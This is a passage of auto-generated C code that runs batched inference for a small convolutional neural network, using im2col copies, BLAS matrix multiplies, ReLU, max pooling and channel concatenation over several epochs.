x2499;\nint32_t x2718 = x2717 * x2499;\nbool x2744 = x2499 >= 2;\nbool x2745;\nif (x2744) {\nx2745 = x2744;\n} else {\nx2745 = false;\n}\nint32_t x2750 = x2499 - 2;\nint32_t x2751 = x2750 / 2;\nint32_t x2752 = x2751 + 1;\nint32_t x2756 = 32768 * x2752;\nint32_t x2757 = x2756 * x2752;\nint32_t x2753 = x2752 * x2752;\nint32_t x2754 = 512 * x2753;\nint32_t x2755 = 64 * x2754;\nint32_t x2715 = 512 * x2500;\nint32_t x2844 = 2 * x2499;\nint32_t x2854 = x2751 / 1;\nint32_t x2855 = x2854 + 1;\nint32_t x2859 = 4096 * x2855;\nint32_t x2860 = x2859 * x2855;\nint32_t x2856 = x2855 * x2855;\nfloat* x62 = x41+559488;\nint32_t x2879 = 32768 * x2856;\nint32_t x2857 = 64 * x2856;\nint32_t x2877 = 512 * x2856;\nfloat* x43 = x41+526720;\nint32_t x2858 = 64 * x2857;\nint32_t x2934 = x2854 / 1;\nint32_t x2935 = x2934 + 1;\nint32_t x2939 = 16384 * x2935;\nint32_t x2940 = x2939 * x2935;\nint32_t x2936 = x2935 * x2935;\nfloat* x68 = x41+575936;\nint32_t x2959 = 4096 * x2936;\nint32_t x2937 = 256 * x2936;\nint32_t x2957 = 64 * x2936;\nfloat* x80 = x41+559552;\nint32_t x2938 = 64 * x2937;\nint32_t x3014 = x2855 + 2;\nint32_t x3015 = x3014 - 3;\nint32_t x3016 = x3015 / 1;\nint32_t x3017 = x3016 + 1;\nint32_t x3021 = 16384 * x3017;\nint32_t x3022 = x3021 * x3017;\nint32_t x3018 = x3017 * x3017;\nfloat* x59 = x41+723648;\nint32_t x3041 = 36864 * x3018;\nint32_t x3019 = 256 * x3018;\nint32_t x3039 = 576 * x3018;\nfloat* x72 = x41+576192;\nint32_t x3020 = 64 * x3019;\nbool x3142;\nif (x636) {\nbool x3140 = x3017 == x2935;\nbool x3141 = x3140 || false;\nx3142 = x3141;\n} else {\nx3142 = false;\n}\nbool x3143;\nif (x3142) {\nbool x3140 = x3017 == x2935;\nbool x3141 = x3140 || false;\nx3143 = x3141;\n} else {\nx3143 = false;\n}\nint32_t x3152 = 32768 * x2935;\nint32_t x3153 = x3152 * x2935;\nint32_t x3179 = x2935 - 4;\nint32_t x3180 = x3179 / 1;\nint32_t x3181 = x3180 + 1;\nint32_t x3185 = 640 * x3181;\nint32_t x3186 = x3185 * x3181;\nint32_t x3182 = x3181 * x3181;\nfloat* x93 = x41+805824;\nint32_t x3206 = 524288 * x3182;\nint32_t x3150 = 512 * x2936;\nint32_t x3183 = 10 * x3182;\nint32_t x3204 = 8192 * x3182;\nfloat* x46 = x41+723904;\nint32_t x3184 = 64 * x3183;\nint64_t x3282 = (int64_t)x9;\nfor(int x98=0; x98 < 4; x98++) {\nstruct timeval begin_1, end_1, diff_1;\nint32_t x100 = x98 + 1;\nprintf(\"Start inferencing epoch %d\\n\",x100);\ngettimeofday(&begin_1, NULL);\nfor(int x105=0; x105 < x103; x105++) {\nint32_t x106 = x105 * 64;\nint32_t x107 = x106 * 3072;\nfloat* x108 = x11+x107;\nint* x109 = x12+x106;\nfloat* x117 = (float*)myMalloc(x116 * sizeof(float));;\nint32_t x118 = 0;\nfor(int x120=0; x120 < 64; x120++) {\nfor(int x122=0; x122 < 96; x122++) {\nfor(int x124=0; x124 < x112; x124++) {\nint32_t x125 = x118;\nfloat x126 = x85[x122];\nx117[x125] = x126;\nx118 += 1;\n\n}\n\n}\n\n}\nfloat* x138 = (float*)myMalloc(x137 * sizeof(float));;\nfor(int x139=0; x139 < 64; x139++) {\nint32_t x140 = x139 * 3072;\nfloat* x141 = x108+x140;\nint32_t x142 = x139 * x113;\nfloat* x143 = x117+x142;\nint32_t x144 = x139 * x135;\nfloat* x145 = x138+x144;\nfor(int x147=0; x147 < 27; x147++) {\nint32_t x148 = x147 / 9;\nint32_t x152 = x148 * 3;\nint32_t x153 = x152 * 3;\nint32_t x154 = x153 * x111;\nint32_t x155 = x154 * x111;\nint32_t x149 = x147 % 9;\nint32_t x150 = x149 / 3;\nint32_t x156 = x150 * 3;\nint32_t x157 = x156 * x111;\nint32_t x158 = x157 * x111;\nint32_t x159 = x155 + x158;\nint32_t x151 = x149 % 3;\nint32_t x160 = x151 * x111;\nint32_t x161 = x160 * x111;\nint32_t x162 = x159 + x161;\nfloat* x163 = x145+x162;\nint32_t x164 = x148 * 32;\nint32_t x165 = x164 * 32;\nfloat* x166 = x141+x165;\nint32_t x179 = 1 - x151;\nbool x180 = x179 > 0;\nint32_t x181;\nif (x180) {\nx181 = x179;\n} else {\nx181 = 0;\n}\nint32_t x182 = 3 - x151;\nint32_t x183 = x182 - 1;\nint32_t x184 = 1 - x183;\nbool x185 = x184 > 0;\nint32_t x186;\nif (x185) {\nx186 = x184;\n} else {\nx186 = 0;\n}\nint32_t x187 = x111 - x186;\nint32_t x188 = x187 - x181;\nbool x189 = x188 <= 0;\nbool x193 = x181 > 0;\nint32_t x178 = -1 + x151;\nbool x206 = x186 > 0;\nfor(int x168=0; x168 < x111; x168++) {\nint32_t x169 = x168 - 1;\nint32_t x170 = x169 + x150;\nbool x171 = x170 < 0;\nbool x172 = x170 >= 32;\nbool x173 = x171 || x172;\nif (x173) {\nint32_t x174 = x168 * x111;\nfloat* x175 = x163+x174;\nmemset(x175, 0, 4 * x111);;\n} else {\nif (x189) {\nint32_t x174 = x168 * x111;\nfloat* x190 = x163+x174;\nmemset(x190, 0, 4 * x111);;\n} else {\nint32_t x174 = x168 * x111;\nif (x193) {\nfloat* x194 = x163+x174;\nmemset(x194, 0, 4 * x181);;\n} else {\n}\n// may have segfault here\nint32_t x199 = x174 + x181;\nfloat* x200 = x163+x199;\nint32_t x201 = x170 * 32;\nint32_t x202 = x201 + x178;\nint32_t x203 = x202 + x181;\nfloat* x204 = x166+x203;\nmemcpy(x200, x204, 4 * x188);;\nif (x206) {\nint32_t x207 = x174 + x111;\nint32_t x208 = x207 - x186;\nfloat* x209 = x163+x208;\nmemset(x209, 0, 4 * x186);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 96,x112,27,1,x75,27,x145,x112,1,x143,x112);\n\n}\nfloat* x224 = (float*)myMalloc(x114 * sizeof(float));;\nfor(int x226=0; x226 < x114; x226++) {\nfloat x227 = x117[x226];\nbool x228 = x227 < 0.0f;\nif (x228) {\nx224[x226] = 0.0f;\n} else {\nfloat x231 = x117[x226];\nx224[x226] = x231;\n}\n\n}\nif (x238) {\n} else {\nassert(false && \"Image too small for maxPool_k: x Const(64) x Const(96) x Sym(111) x Sym(111)|(2,2)\");\n}\nfloat* x251 = (float*)myMalloc(x250 * sizeof(float));;\nfor(int x253=0; x253 < x250; x253++) {\nx251[x253] = -3.4028235E38f;\n\n}\nint* x257 = (int32_t*)myMalloc(x248 * sizeof(int32_t));;\nfor(int x258=0; x258 < 64; x258++) {\nint32_t x259 = x258 * x113;\nfloat* x260 = x224+x259;\nint32_t x261 = x258 * x247;\nfloat* x262 = x251+x261;\nint* x263 = x257+x261;\nint32_t x264 = 0;\nint32_t x265 = 0;\nfor(int x266=0; x266 < 96; x266++) {\nint32_t x267 = x264;\nint32_t x268 = x267;\nint32_t x269 = x265;\nint32_t x270 = x269;\nfor(int x272=0; x272 < x245; x272++) {\nint32_t x273 = x268;\nint32_t x274 = x273;\nint32_t x275 = x270;\nint32_t x276 = x275;\nfor(int x277=0; x277 < x245; x277++) {\nint32_t x278 = x276;\nint32_t x279 = x278;\nint32_t x280 = x279;\nint32_t x281 = x280;\nint32_t x282 = x281;\nfloat x283 = x260[x282];\nint32_t x284 = x274;\nfloat x285 = x262[x284];\nbool x286 = x283 > x285;\nif (x286) {\nfloat x287 = x260[x282];\nx262[x284] = x287;\nint32_t x289 = x282 + x259;\nx263[x284] = x289;\n} else {\n}\nx281 += 1;\nint32_t x294 = x281;\nfloat x295 = x260[x294];\nfloat x296 = x262[x284];\nbool x297 = x295 > x296;\nif (x297) {\nfloat x298 = x260[x294];\nx262[x284] = x298;\nint32_t x300 = x294 + x259;\nx263[x284] = x300;\n} else {\n}\nx281 += 1;\nx279 += x111;\nint32_t x306 = x279;\nint32_t x307 = x306;\nint32_t x308 = x307;\nfloat x309 = x260[x308];\nfloat x310 = x262[x284];\nbool x311 = x309 > x310;\nif (x311) {\nfloat x312 = x260[x308];\nx262[x284] = x312;\nint32_t x314 = x308 + x259;\nx263[x284] = x314;\n} else {\n}\nx307 += 1;\nint32_t x319 = x307;\nfloat x320 = x260[x319];\nfloat x321 = x262[x284];\nbool x322 = x320 > x321;\nif (x322) {\nfloat x323 = x260[x319];\nx262[x284] = x323;\nint32_t x325 = x319 + x259;\nx263[x284] = x325;\n} else {\n}\nx307 += 1;\nx279 += x111;\nx274 += 1;\nx276 += 2;\n\n}\nx268 += x245;\nx270 += x336;\n\n}\nx264 += x246;\nx265 += x112;\n\n}\n\n}\nfloat* x353 = (float*)myMalloc(x352 * sizeof(float));;\nint32_t x354 = 0;\nfor(int x355=0; x355 < 64; x355++) {\nfor(int x357=0; x357 < 16; x357++) {\nfor(int x359=0; x359 < x348; x359++) {\nint32_t x360 = x354;\nfloat x361 = x50[x357];\nx353[x360] = x361;\nx354 += 1;\n\n}\n\n}\n\n}\nfloat* x373 = (float*)myMalloc(x372 * sizeof(float));;\nfor(int x374=0; x374 < 64; x374++) {\nint32_t x375 = x374 * x247;\nfloat* x376 = x251+x375;\nint32_t x377 = x374 * x349;\nfloat* x378 = x353+x377;\nint32_t x379 = x374 * x370;\nfloat* x380 = x373+x379;\nfor(int x381=0; x381 < 96; x381++) {\nint32_t x382 = x381 / 1;\nint32_t x386 = x382 * x347;\nint32_t x387 = x386 * x347;\nint32_t x383 = x381 % 1;\nint32_t x384 = x383 / 1;\nint32_t x388 = x384 * x347;\nint32_t x389 = x388 * x347;\nint32_t x390 = x387 + x389;\nint32_t x385 = x383 % 1;\nint32_t x391 = x385 * x347;\nint32_t x392 = x391 * x347;\nint32_t x393 = x390 + x392;\nfloat* x394 = x380+x393;\nint32_t x395 = x382 * x245;\nint32_t x396 = x395 * x245;\nfloat* x397 = x376+x396;\nfor(int x399=0; x399 < x347; x399++) {\nint32_t x401 = x399 * x347;\nfloat* x402 = x394+x401;\nint32_t x400 = x399 + x384;\nint32_t x403 = x400 * x245;\nint32_t x404 = x403 + x385;\nfloat* x405 = x397+x404;\nmemcpy(x402, x405, 4 * x347);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 16,x348,96,1,x92,96,x380,x348,1,x378,x348);\n\n}\nfloat* x414 = (float*)myMalloc(x350 * sizeof(float));;\nfor(int x416=0; x416 < x350; x416++) {\nfloat x417 = x353[x416];\nbool x418 = x417 < 0.0f;\nif (x418) {\nx414[x416] = 0.0f;\n} else {\nfloat x421 = x353[x416];\nx414[x416] = x421;\n}\n\n}\nfloat* x434 = (float*)myMalloc(x433 * sizeof(float));;\nint32_t x435 = 0;\nfor(int x436=0; x436 < 64; x436++) {\nfor(int x437=0; x437 < 64; x437++) {\nfor(int x439=0; x439 < x429; x439++) {\nint32_t x440 = x435;\nfloat x441 = x73[x437];\nx434[x440] = x441;\nx435 += 1;\n\n}\n\n}\n\n}\nfloat* x453 = (float*)myMalloc(x452 * sizeof(float));;\nfor(int x454=0; x454 < 64; x454++) {\nint32_t x455 = x454 * x349;\nfloat* x456 = x414+x455;\nint32_t x457 = x454 * x430;\nfloat* x458 = x434+x457;\nint32_t x459 = x454 * x450;\nfloat* x460 = x453+x459;\nfor(int x461=0; x461 < 16; x461++) {\nint32_t x462 = x461 / 1;\nint32_t x466 = x462 * x428;\nint32_t x467 = x466 * x428;\nint32_t x463 = x461 % 1;\nint32_t x464 = x463 / 1;\nint32_t x468 = x464 * x428;\nint32_t x469 = x468 * x428;\nint32_t x470 = x467 + x469;\nint32_t x465 = x463 % 1;\nint32_t x471 = x465 * x428;\nint32_t x472 = x471 * x428;\nint32_t x473 = x470 + x472;\nfloat* x474 = x460+x473;\nint32_t x475 = x462 * x347;\nint32_t x476 = x475 * x347;\nfloat* x477 = x456+x476;\nfor(int x479=0; x479 < x428; x479++) {\nint32_t x481 = x479 * x428;\nfloat* x482 = x474+x481;\nint32_t x480 = x479 + x464;\nint32_t x483 = x480 * x347;\nint32_t x484 = x483 + x465;\nfloat* x485 = x477+x484;\nmemcpy(x482, x485, 4 * x428);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x429,16,1,x66,16,x460,x429,1,x458,x429);\n\n}\nfloat* x494 = (float*)myMalloc(x431 * sizeof(float));;\nfor(int x496=0; x496 < x431; x496++) {\nfloat x497 = x434[x496];\nbool x498 = x497 < 0.0f;\nif (x498) {\nx494[x496] = 0.0f;\n} else {\nfloat x501 = x434[x496];\nx494[x496] = x501;\n}\n\n}\nfloat* x516 = (float*)myMalloc(x515 * sizeof(float));;\nint32_t x517 = 0;\nfor(int x518=0; x518 < 64; x518++) {\nfor(int x519=0; x519 < 64; x519++) {\nfor(int x521=0; x521 < x511; x521++) {\nint32_t x522 = x517;\nfloat x523 = x47[x519];\nx516[x522] = x523;\nx517 += 1;\n\n}\n\n}\n\n}\nfloat* x535 = (float*)myMalloc(x534 * sizeof(float));;\nfor(int x536=0; x536 < 64; x536++) {\nint32_t x537 = x536 * x349;\nfloat* x538 = x414+x537;\nint32_t x539 = x536 * x512;\nfloat* x540 = x516+x539;\nint32_t x541 = x536 * x532;\nfloat* x542 = x535+x541;\nfor(int x544=0; x544 < 144; x544++) {\nint32_t x545 = x544 / 9;\nint32_t x549 = x545 * 3;\nint32_t x550 = x549 * 3;\nint32_t x551 = x550 * x510;\nint32_t x552 = x551 * x510;\nint32_t x546 = x544 % 9;\nint32_t x547 = x546 / 3;\nint32_t x553 = x547 * 3;\nint32_t x554 = x553 * x510;\nint32_t x555 = x554 * x510;\nint32_t x556 = x552 + x555;\nint32_t x548 = x546 % 3;\nint32_t x557 = x548 * x510;\nint32_t x558 = x557 * x510;\nint32_t x559 = x556 + x558;\nfloat* x560 = x542+x559;\nint32_t x561 = x545 * x347;\nint32_t x562 = x561 * x347;\nfloat* x563 = x538+x562;\nint32_t x576 = 1 - x548;\nbool x577 = x576 > 0;\nint32_t x578;\nif (x577) {\nx578 = x576;\n} else {\nx578 = 0;\n}\nint32_t x579 = 3 - x548;\nint32_t x580 = x579 - 1;\nint32_t x581 = 1 - x580;\nbool x582 = x581 > 0;\nint32_t x583;\nif (x582) {\nx583 = x581;\n} else {\nx583 = 0;\n}\nint32_t x584 = x510 - x583;\nint32_t x585 = x584 - x578;\nbool x586 = x585 <= 0;\nbool x590 = x578 > 0;\nint32_t x575 = -1 + x548;\nbool x603 = x583 > 0;\nfor(int x565=0; x565 < x510; x565++) {\nint32_t x566 = x565 - 1;\nint32_t x567 = x566 + x547;\nbool x568 = x567 < 0;\nbool x569 = x567 >= x347;\nbool x570 = x568 || x569;\nif (x570) {\nint32_t x571 = x565 * x510;\nfloat* x572 = x560+x571;\nmemset(x572, 0, 4 * x510);;\n} else {\nif (x586) {\nint32_t x571 = x565 * x510;\nfloat* x587 = x560+x571;\nmemset(x587, 0, 4 * x510);;\n} else {\nint32_t x571 = x565 * x510;\nif (x590) {\nfloat* x591 = x560+x571;\nmemset(x591, 0, 4 * x578);;\n} else {\n}\n// may have segfault here\nint32_t x596 = x571 + x578;\nfloat* x597 = x560+x596;\nint32_t x598 = x567 * x347;\nint32_t x599 = x598 + x575;\nint32_t x600 = x599 + x578;\nfloat* x601 = x563+x600;\nmemcpy(x597, x601, 4 * x585);;\nif (x603) {\nint32_t x604 = x571 + x510;\nint32_t x605 = x604 - x583;\nfloat* x606 = x560+x605;\nmemset(x606, 0, 4 * x583);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x511,144,1,x89,144,x542,x511,1,x540,x511);\n\n}\nfloat* x621 = (float*)myMalloc(x513 * sizeof(float));;\nfor(int x623=0; x623 < x513; x623++) {\nfloat x624 = x516[x623];\nbool x625 = x624 < 0.0f;\nif (x625) {\nx621[x623] = 0.0f;\n} else {\nfloat x628 = x516[x623];\nx621[x623] = x628;\n}\n\n}\nif (x640) {\n} else {\nprintf(\"all dimensions except the concatenation dimension should be the same\\n\");\nassert(false && \"\");\n}\n// back prop for concat\nfloat* x651 = (float*)myMalloc(x650 * sizeof(float));;\nint32_t x652 = 0;\nfor(int x653=0; x653 < 64; x653++) {\nint32_t x654 = x653 * x430;\nfloat* x655 = x494+x654;\nfor(int x657=0; x657 < x430; x657++) {\nint32_t x658 = x652;\nfloat x659 = x655[x657];\nx651[x658] = x659;\nx652 += 1;\n\n}\nint32_t x664 = x653 * x512;\nfloat* x665 = x621+x664;\nfor(int x667=0; x667 < x512; x667++) {\nint32_t x668 = x652;\nfloat x669 = x665[x667];\nx651[x668] = x669;\nx652 += 1;\n\n}\n\n}\nfloat* x683 = (float*)myMalloc(x682 * sizeof(float));;\nint32_t x684 = 0;\nfor(int x685=0; x685 < 64; x685++) {\nfor(int x686=0; x686 < 16; x686++) {\nfor(int x688=0; x688 < x678; x688++) {\nint32_t x689 = x684;\nfloat x690 = x67[x686];\nx683[x689] = x690;\nx684 += 1;\n\n}\n\n}\n\n}\nfloat* x702 = (float*)myMalloc(x701 * sizeof(float));;\nfor(int x703=0; x703 < 64; x703++) {\nint32_t x704 = x703 * x647;\nfloat* x705 = x651+x704;\nint32_t x706 = x703 * x679;\nfloat* x707 = x683+x706;\nint32_t x708 = x703 * x699;\nfloat* x709 = x702+x708;\nfor(int x711=0; x711 < 128; x711++) {\nint32_t x712 = x711 / 1;\nint32_t x716 = x712 * x677;\nint32_t x717 = x716 * x677;\nint32_t x713 = x711 % 1;\nint32_t x714 = x713 / 1;\nint32_t x718 = x714 * x677;\nint32_t x719 = x718 * x677;\nint32_t x720 = x717 + x719;\nint32_t x715 = x713 % 1;\nint32_t x721 = x715 * x677;\nint32_t x722 = x721 * x677;\nint32_t x723 = x720 + x722;\nfloat* x724 = x709+x723;\nint32_t x725 = x712 * x428;\nint32_t x726 = x725 * x428;\nfloat* x727 = x705+x726;\nfor(int x729=0; x729 < x677; x729++) {\nint32_t x731 = x729 * x677;\nfloat* x732 = x724+x731;\nint32_t x730 = x729 + x714;\nint32_t x733 = x730 * x428;\nint32_t x734 = x733 + x715;\nfloat* x735 = x727+x734;\nmemcpy(x732, x735, 4 * x677);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 16,x678,128,1,x54,128,x709,x678,1,x707,x678);\n\n}\nfloat* x744 = (float*)myMalloc(x680 * sizeof(float));;\nfor(int x746=0; x746 < x680; x746++) {\nfloat x747 = x683[x746];\nbool x748 = x747 < 0.0f;\nif (x748) {\nx744[x746] = 0.0f;\n} else {\nfloat x751 = x683[x746];\nx744[x746] = x751;\n}\n\n}\nfloat* x764 = (float*)myMalloc(x763 * sizeof(float));;\nint32_t x765 = 0;\nfor(int x766=0; x766 < 64; x766++) {\nfor(int x767=0; x767 < 64; x767++) {\nfor(int x769=0; x769 < x759; x769++) {\nint32_t x770 = x765;\nfloat x771 = x45[x767];\nx764[x770] = x771;\nx765 += 1;\n\n}\n\n}\n\n}\nfloat* x783 = (float*)myMalloc(x782 * sizeof(float));;\nfor(int x784=0; x784 < 64; x784++) {\nint32_t x785 = x784 * x679;\nfloat* x786 = x744+x785;\nint32_t x787 = x784 * x760;\nfloat* x788 = x764+x787;\nint32_t x789 = x784 * x780;\nfloat* x790 = x783+x789;\nfor(int x791=0; x791 < 16; x791++) {\nint32_t x792 = x791 / 1;\nint32_t x796 = x792 * x758;\nint32_t x797 = x796 * x758;\nint32_t x793 = x791 % 1;\nint32_t x794 = x793 / 1;\nint32_t x798 = x794 * x758;\nint32_t x799 = x798 * x758;\nint32_t x800 = x797 + x799;\nint32_t x795 = x793 % 1;\nint32_t x801 = x795 * x758;\nint32_t x802 = x801 * x758;\nint32_t x803 = x800 + x802;\nfloat* x804 = x790+x803;\nint32_t x805 = x792 * x677;\nint32_t x806 = x805 * x677;\nfloat* x807 = x786+x806;\nfor(int x809=0; x809 < x758; x809++) {\nint32_t x811 = x809 * x758;\nfloat* x812 = x804+x811;\nint32_t x810 = x809 + x794;\nint32_t x813 = x810 * x677;\nint32_t x814 = x813 + x795;\nfloat* x815 = x807+x814;\nmemcpy(x812, x815, 4 * x758);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x759,16,1,x53,16,x790,x759,1,x788,x759);\n\n}\nfloat* x824 = (float*)myMalloc(x761 * sizeof(float));;\nfor(int x826=0; x826 < x761; x826++) {\nfloat x827 = x764[x826];\nbool x828 = x827 < 0.0f;\nif (x828) {\nx824[x826] = 0.0f;\n} else {\nfloat x831 = x764[x826];\nx824[x826] = x831;\n}\n\n}\nfloat* x846 = (float*)myMalloc(x845 * sizeof(float));;\nint32_t x847 = 0;\nfor(int x848=0; x848 < 64; x848++) {\nfor(int x849=0; x849 < 64; x849++) {\nfor(int x851=0; x851 < x841; x851++) {\nint32_t x852 = x847;\nfloat x853 = x79[x849];\nx846[x852] = x853;\nx847 += 1;\n\n}\n\n}\n\n}\nfloat* x865 = (float*)myMalloc(x864 * sizeof(float));;\nfor(int x866=0; x866 < 64; x866++) {\nint32_t x867 = x866 * x679;\nfloat* x868 = x744+x867;\nint32_t x869 = x866 * x842;\nfloat* x870 = x846+x869;\nint32_t x871 = x866 * x862;\nfloat* x872 = x865+x871;\nfor(int x873=0; x873 < 144; x873++) {\nint32_t x874 = x873 / 9;\nint32_t x878 = x874 * 3;\nint32_t x879 = x878 * 3;\nint32_t x880 = x879 * x840;\nint32_t x881 = x880 * x840;\nint32_t x875 = x873 % 9;\nint32_t x876 = x875 / 3;\nint32_t x882 = x876 * 3;\nint32_t x883 = x882 * x840;\nint32_t x884 = x883 * x840;\nint32_t x885 = x881 + x884;\nint32_t x877 = x875 % 3;\nint32_t x886 = x877 * x840;\nint32_t x887 = x886 * x840;\nint32_t x888 = x885 + x887;\nfloat* x889 = x872+x888;\nint32_t x890 = x874 * x677;\nint32_t x891 = x890 * x677;\nfloat* x892 = x868+x891;\nint32_t x905 = 1 - x877;\nbool x906 = x905 > 0;\nint32_t x907;\nif (x906) {\nx907 = x905;\n} else {\nx907 = 0;\n}\nint32_t x908 = 3 - x877;\nint32_t x909 = x908 - 1;\nint32_t x910 = 1 - x909;\nbool x911 = x910 > 0;\nint32_t x912;\nif (x911) {\nx912 = x910;\n} else {\nx912 = 0;\n}\nint32_t x913 = x840 - x912;\nint32_t x914 = x913 - x907;\nbool x915 = x914 <= 0;\nbool x919 = x907 > 0;\nint32_t x904 = -1 + x877;\nbool x932 = x912 > 0;\nfor(int x894=0; x894 < x840; x894++) {\nint32_t x895 = x894 - 1;\nint32_t x896 = x895 + x876;\nbool x897 = x896 < 0;\nbool x898 = x896 >= x677;\nbool x899 = x897 || x898;\nif (x899) {\nint32_t x900 = x894 * x840;\nfloat* x901 = x889+x900;\nmemset(x901, 0, 4 * x840);;\n} else {\nif (x915) {\nint32_t x900 = x894 * x840;\nfloat* x916 = x889+x900;\nmemset(x916, 0, 4 * x840);;\n} else {\nint32_t x900 = x894 * x840;\nif (x919) {\nfloat* x920 = x889+x900;\nmemset(x920, 0, 4 * x907);;\n} else {\n}\n// may have segfault here\nint32_t x925 = x900 + x907;\nfloat* x926 = x889+x925;\nint32_t x927 = x896 * x677;\nint32_t x928 = x927 + x904;\nint32_t x929 = x928 + x907;\nfloat* x930 = x892+x929;\nmemcpy(x926, x930, 4 * x914);;\nif (x932) {\nint32_t x933 = x900 + x840;\nint32_t x934 = x933 - x912;\nfloat* x935 = x889+x934;\nmemset(x935, 0, 4 * x912);;\n} else {\n}\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 64,x841,144,1,x61,144,x872,x841,1,x870,x841);\n\n}\nfloat* x950 = (float*)myMalloc(x843 * sizeof(float));;\nfor(int x952=0; x952 < x843; x952++) {\nfloat x953 = x846[x952];\nbool x954 = x953 < 0.0f;\nif (x954) {\nx950[x952] = 0.0f;\n} else {\nfloat x957 = x846[x952];\nx950[x952] = x957;\n}\n\n}\nif (x966) {\n} else {\nprintf(\"all dimensions except the concatenation dimension should be the same\\n\");\nassert(false && \"\");\n}\n// back prop for concat\nfloat* x977 = (float*)myMalloc(x976 * sizeof(float));;\nint32_t x978 = 0;\nfor(int x979=0; x979 < 64; x979++) {\nint32_t x980 = x979 * x760;\nfloat* x981 = x824+x980;\nfor(int x983=0; x983 < x760; x983++) {\nint32_t x984 = x978;\nfloat x985 = x981[x983];\nx977[x984] = x985;\nx978 += 1;\n\n}\nint32_t x990 = x979 * x842;\nfloat* x991 = x950+x990;\nfor(int x993=0; x993 < x842; x993++) {\nint32_t x994 = x978;\nfloat x995 = x991[x993];\nx977[x994] = x995;\nx978 += 1;\n\n}\n\n}\nfloat* x1009 = (float*)myMalloc(x1008 * sizeof(float));;\nint32_t x1010 = 0;\nfor(int x1011=0; x1011 < 64; x1011++) {\nfor(int x1013=0; x1013 < 32; x1013++) {\nfor(int x1015=0; x1015 < x1004; x1015++) {\nint32_t x1016 = x1010;\nfloat x1017 = x65[x1013];\nx1009[x1016] = x1017;\nx1010 += 1;\n\n}\n\n}\n\n}\nfloat* x1029 = (float*)myMalloc(x1028 * sizeof(float));;\nfor(int x1030=0; x1030 < 64; x1030++) {\nint32_t x1031 = x1030 * x973;\nfloat* x1032 = x977+x1031;\nint32_t x1033 = x1030 * x1005;\nfloat* x1034 = x1009+x1033;\nint32_t x1035 = x1030 * x1026;\nfloat* x1036 = x1029+x1035;\nfor(int x1037=0; x1037 < 128; x1037++) {\nint32_t x1038 = x1037 / 1;\nint32_t x1042 = x1038 * x1003;\nint32_t x1043 = x1042 * x1003;\nint32_t x1039 = x1037 % 1;\nint32_t x1040 = x1039 / 1;\nint32_t x1044 = x1040 * x1003;\nint32_t x1045 = x1044 * x1003;\nint32_t x1046 = x1043 + x1045;\nint32_t x1041 = x1039 % 1;\nint32_t x1047 = x1041 * x1003;\nint32_t x1048 = x1047 * x1003;\nint32_t x1049 = x1046 + x1048;\nfloat* x1050 = x1036+x1049;\nint32_t x1051 = x1038 * x758;\nint32_t x1052 = x1051 * x758;\nfloat* x1053 = x1032+x1052;\nfor(int x1055=0; x1055 < x1003; x1055++) {\nint32_t x1057 = x1055 * x1003;\nfloat* x1058 = x1050+x1057;\nint32_t x1056 = x1055 + x1040;\nint32_t x1059 = x1056 * x758;\nint32_t x1060 = x1059 + x1041;\nfloat* x1061 = x1053+x1060;\nmemcpy(x1058, x1061, 4 * x1003);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 32,x1004,128,1,x52,128,x1036,x1004,1,x1034,x1004);\n\n}\nfloat* x1070 = (float*)myMalloc(x1006 * sizeof(float));;\nfor(int x1072=0; x1072 < x1006; x1072++) {\nfloat x1073 = x1009[x1072];\nbool x1074 = x1073 < 0.0f;\nif (x1074) {\nx1070[x1072] = 0.0f;\n} else {\nfloat x1077 = x1009[x1072];\nx1070[x1072] = x1077;\n}\n\n}\nfloat* x1090 = (float*)myMalloc(x1089 * sizeof(float));;\nint32_t x1091 = 0;\nfor(int x1092=0; x1092 < 64; x1092++) {\nfor(int x1093=0; x1093 < 128; x1093++) {\nfor(int x1095=0; x1095 < x1085; x1095++) {\nint32_t x1096 = x1091;\nfloat x1097 = x87[x1093];\nx1090[x1096] = x1097;\nx1091 += 1;\n\n}\n\n}\n\n}\nfloat* x1109 = (float*)myMalloc(x1108 * sizeof(float));;\nfor(int x1110=0; x1110 < 64; x1110++) {\nint32_t x1111 = x1110 * x1005;\nfloat* x1112 = x1070+x1111;\nint32_t x1113 = x1110 * x1086;\nfloat* x1114 = x1090+x1113;\nint32_t x1115 = x1110 * x1106;\nfloat* x1116 = x1109+x1115;\nfor(int x1117=0; x1117 < 32; x1117++) {\nint32_t x1118 = x1117 / 1;\nint32_t x1122 = x1118 * x1084;\nint32_t x1123 = x1122 * x1084;\nint32_t x1119 = x1117 % 1;\nint32_t x1120 = x1119 / 1;\nint32_t x1124 = x1120 * x1084;\nint32_t x1125 = x1124 * x1084;\nint32_t x1126 = x1123 + x1125;\nint32_t x1121 = x1119 % 1;\nint32_t x1127 = x1121 * x1084;\nint32_t x1128 = x1127 * x1084;\nint32_t x1129 = x1126 + x1128;\nfloat* x1130 = x1116+x1129;\nint32_t x1131 = x1118 * x1003;\nint32_t x1132 = x1131 * x1003;\nfloat* x1133 = x1112+x1132;\nfor(int x1135=0; x1135 < x1084; x1135++) {\nint32_t x1137 = x1135 * x1084;\nfloat* x1138 = x1130+x1137;\nint32_t x1136 = x1135 + x1120;\nint32_t x1139 = x1136 * x1003;\nint32_t x1140 = x1139 + x1121;\nfloat* x1141 = x1133+x1140;\nmemcpy(x1138, x1141, 4 * x1084);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 128,x1085,32,1,x77,32,x1116,x1085,1,x1114,x1085);\n\n}\nfloat* x1150 = (float*)myMalloc(x1087 * sizeof(float));;\nfor(int x1152=0; x1152 < x1087; x1152++) {\nfloat x1153 = x1090[x1152];\nbool x1154 = x1153 < 0.0f;\nif (x1154) {\nx1150[x1152] = 0.0f;\n} else {\nfloat x1157 = x1090[x1152];\nx1150[x1152] = x1157;\n}\n\n}\nfloat* 